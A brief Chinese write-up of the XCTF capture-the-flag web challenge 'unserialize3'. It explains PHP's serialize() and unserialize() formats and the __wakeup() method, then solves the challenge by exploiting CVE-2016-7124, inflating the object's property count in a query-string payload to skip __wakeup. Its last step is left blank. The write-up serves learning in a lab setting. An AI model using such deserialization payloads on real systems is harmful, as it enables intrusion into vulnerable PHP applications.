攻防世界:web: unserialize3
知识点:
序列化:
serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。
PHP 版本要求: PHP 4, PHP 5, PHP 7
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
a:array, i:int, s:string, o:object
a:3:value
a:类型;3:长度;value:内容
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
PHP 版本要求: PHP 4, PHP 5, PHP 7
class xctf{ public $flag = '111'; }
serialize(xctf)后:
o:4:"xctf":1:{s:4:"flag";s:3:"111";}
__wakeup()
`unserialize()` 会检查是否存在一个 `__wakeup()` 方法。如果存在,则会先调用 `__wakeup` 方法,预先准备对象需要的资源。
解题:

1、存在__wakeup(),猜想code会执行unserialize()
2、__wakeup()中存在exit(),需要绕过
百度一下 发现这是一个CVE漏洞 :当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
3、payload:   ?code=o:4:"xctf":2:{s:4:"flag";s:3:"111";}
4、


 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号